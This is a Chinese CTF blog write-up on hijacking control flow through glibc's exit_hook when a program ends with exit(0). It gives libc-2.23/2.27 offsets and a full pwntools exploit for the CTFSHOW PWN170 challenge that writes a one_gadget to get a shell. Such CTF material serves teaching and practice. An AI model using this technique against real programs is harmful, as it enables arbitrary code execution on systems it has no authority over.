PWN|exit_hook利用

原理

有时候在一些题中程序没有return,而是直接通过exit(0)来退出,覆盖ret没用了应该如何劫持程序控制流?此时可以用到exit_hook,简单来说就是exit函数会调用__rtld_lock_lock_recursive和 __rtld_lock_unlock_recursive两个函数,把这两个函数改成one_gadget即可。

详细可见这位师傅的文章(*´∇`*) 欢迎回来!

例题:CTFSHOW PWN170

程序逻辑很简单,给出了puts函数地址和栈地址,有无穷次任意地址写的机会,用exit(0) 退出。

且开启了full relro,不能改got表:

根据原理篡改exit_hook,通过p &_rtld_global可以看偏移,这里给出常见版本的exit_hook偏移:

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

直接打就行,用3840打不通,3848能打通,原因未知:

from pwn import *

context(arch ='amd64',os = 'linux',log_level = "debug")
io = remote("pwn.challenge.ctf.show",28114)
elf = ELF('/home/monke/PWN/CTFSHOW/170/170')
libc = ELF('/home/monke/PWN/buulibc/libc-2.27-64.so')

io.recvuntil("puts: ")
puts = io.recv(14)
puts=int(puts,16)
print(hex(puts))

io.recvuntil("stack: ")
stack = io.recv(14)
stack=int(stack,16)
print(hex(stack))

libc_base=puts-libc.sym["puts"]
og=libc_base+0x4f322
exit_hook = libc_base+0x619060+3848
io.sendlineafter("(q)uit\n",b"w")
io.sendlineafter("ptr: ",str(exit_hook))
io.sendlineafter("val: ",str(og))
io.sendlineafter("(q)uit\n",b"q")
io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇